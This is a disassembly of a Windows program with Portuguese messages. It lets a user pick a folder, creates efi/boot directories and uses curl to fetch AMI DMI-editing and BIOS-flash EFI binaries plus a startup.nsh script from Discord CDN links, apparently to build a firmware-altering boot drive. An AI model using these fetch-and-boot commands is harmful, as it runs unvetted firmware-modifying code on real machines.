movdqa xmmword [rbp + 0x2e0], xmm1
lea rcx, [rbp + 0x2b0]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], r13
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov rbx, rax
test rax, rax
je 0x140057d88
lea rdx, [rbp + 0x340]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x28], r13
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x140057781
mov rcx, qword [rbp + 0x28]
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbp + 0x28]
mov rax, qword [rcx]
call qword [rax + 0x10]
xorps xmm0, xmm0
mov qword [rbp + 0x10], r13
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], r13
lea rax, [rbp + 0x340]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], r13w
jne 0x1400577a0
lea rdx, [rbp + 0x340]
lea rcx, [rbp]
call fcn.14005c5f0
mov r8d, 4
lea rdx, str.efi
lea rcx, [rbp]
call fcn.140059b30
mov qword [rbp - 0x30], r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x140057841
mov rcx, qword [rbp]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005783c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005783c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8c18
lea r8, str._boot
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.14005b890
cmp qword [rbp - 0x28], 7
lea rcx, [rbp - 0x40]
cmova rcx, qword [rbp - 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140057885
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140057885
lea rdx, str.Erro_ao_criar_a_pasta_efi.
jmp 0x1400578b3
cmp qword [rbp - 0x48], 7
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400578d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400578d4
lea rdx, str.Erro_ao_criar_a_pasta_boot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14005b110
lea rdx, [0x14005b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140057c62
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x60]
call fcn.140059bb0
mov rdx, rax
lea r8, str.AMIDEEFIx64.efi
lea rcx, [rbp + 0x220]
call fcn.14005b820
lea rcx, [rbp + 0x60]
call fcn.14003e840
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x60]
call fcn.140059bb0
mov rdx, rax
lea r8, str.AfuEfix64.efi
lea rcx, [rbp + 0xa0]
call fcn.14005b820
lea rcx, [rbp + 0x60]
call fcn.14003e840
lea r8, [rbp + 0x220]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804522005438474_AMIDEEFIx64.efi__o__
lea rcx, [rbp + 0x80]
call fcn.14005ba00
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.14005b820
mov rcx, rax
call fcn.140059b20
mov r9, rax
mov dword [rsp + 0x28], r13d
lea r8, str.curl
mov qword [rsp + 0x20], r13
lea rdx, [0x1400fa478]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
call fcn.14003e840
lea rcx, [rbp + 0x80]
call fcn.14003e840
lea r8, [rbp + 0xa0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804543593529394_AfuEfix64.efi__o__
lea rcx, [rbp + 0x80]
call fcn.14005ba00
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.14005b820
mov rcx, rax
call fcn.140059b20
mov r9, rax
mov dword [rsp + 0x28], r13d
lea r8, str.curl
mov qword [rsp + 0x20], r13
lea rdx, [0x1400fa478]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
call fcn.14003e840
lea rcx, [rbp + 0x80]
call fcn.14003e840
lea r8, str._startup.nsh
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x40]
call fcn.14005b890
lea r8, str._bootx64.efi
lea rdx, [rbp - 0x60]
lea rcx, [rbp]
call fcn.14005b890
lea r8, [rbp + 0x40]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805528051200030_startup.nsh__o__
lea rcx, [rbp + 0x80]
call fcn.14005ba00
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.14005b820
mov rcx, rax
call fcn.140059b20
mov dword [rsp + 0x28], r13d
mov r9, rax
mov qword [rsp + 0x20], r13
lea r8, str.curl
xor ecx, ecx
lea rdx, [0x1400fa478]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
mov rbx, rax
call fcn.14003e840
lea rcx, [rbp + 0x80]
call fcn.14003e840
cmp rbx, 0x20
ja 0x140057ab3
lea rdx, str.Erro_ao_baixar_o_arquivo_startup.nsh.
jmp 0x140057c1c
lea r8, [rbp]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805527728242779_bootx64.efi__o__
lea rcx, [rbp + 0x80]
call fcn.14005ba00
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.14005b820
mov rcx, rax
call fcn.140059b20
mov r9, rax
mov dword [rsp + 0x28], r13d
lea r8, str.curl
mov qword [rsp + 0x20], r13
lea rdx, [0x1400fa478]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
mov rbx, rax
call fcn.14003e840
lea rcx, [rbp + 0x80]
call fcn.14003e840
cmp rbx, 0x20
ja 0x140057b32
lea rdx, str.Erro_ao_baixar_o_arquivo_bootx64.efi.
jmp 0x140057c1c
lea rcx, [rbp + 0x220]
call fcn.140059b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140057c15
lea rcx, [rbp + 0xa0]
call fcn.140059b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140057c15
lea rcx, [rbp + 0x40]
call fcn.140059b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140057c15
lea rcx, [rbp]
call fcn.140059b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140057c15
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Arquivos_baixados_com_sucesso_em:
call fcn.14005bb70
mov rcx, rax
lea rdx, [rbp + 0x340]
call fcn.14005bb70
lea rdx, [0x14005bd40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp]
call fcn.14003e840
lea rcx, [rbp + 0x40]
call fcn.14003e840
lea rcx, [rbp + 0xa0]
call fcn.14003e840
lea rcx, [rbp + 0x220]
call fcn.14003e840
lea rcx, [rbp - 0x60]
call fcn.14003e840
lea rcx, [rbp - 0x40]
call fcn.14003e840
xor eax, eax
jmp 0x140057cf5
lea rdx, str.Erro_ao_baixar_os_arquivos.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14005b110
lea rdx, [0x14005b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp]
call fcn.14003e840
lea rcx, [rbp + 0x40]
call fcn.14003e840
lea rcx, [rbp + 0xa0]
call fcn.14003e840
lea rcx, [rbp + 0x220]
call fcn.14003e840
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140057c9e
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057c99
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057ce6
call fcn.1400c8c18
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r13w
cmp rdx, 7
jbe 0x140057cf2
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057ced
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057ced
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8c18
mov eax, r12d
movaps xmm14, xmmword [rsp + 0x740]
movaps xmm13, xmmword [rsp + 0x750]
mov r15, qword [rsp + 0x7d0]
movaps xmm11, xmmword [rsp + 0x770]
movaps xmm10, xmmword [rsp + 0x780]
movaps xmm9, xmmword [rsp + 0x790]
movaps xmm8, xmmword [rsp + 0x7a0]
movaps xmm7, xmmword [rsp + 0x7b0]
movaps xmm6, xmmword [rsp + 0x7c0]
movaps xmm15, xmmword [rsp + 0x730]
mov r14, qword [rsp + 0x7d8]
mov rbx, qword [rsp + 0x800]
mov rdi, qword [rsp + 0x810]
mov rsi, qword [rsp + 0x808]
movaps xmm12, xmmword [rsp + 0x760]
mov r12, qword [rsp + 0x7e0]
add rsp, 0x7e8
pop r13
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Nenhum_diret
call fcn.14005b110
lea rdx, [0x14005b550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140057cf2
mov rcx, qword [0x140316048]
mov rdx, qword [0x140316060]
test rdx, rdx
je 0x140057dda
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [0x140316048]
mov qword [0x140316060], r13
test rcx, rcx
je 0x140057dec
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140316048], r13
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x140057d4c
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x38], r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x38], r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3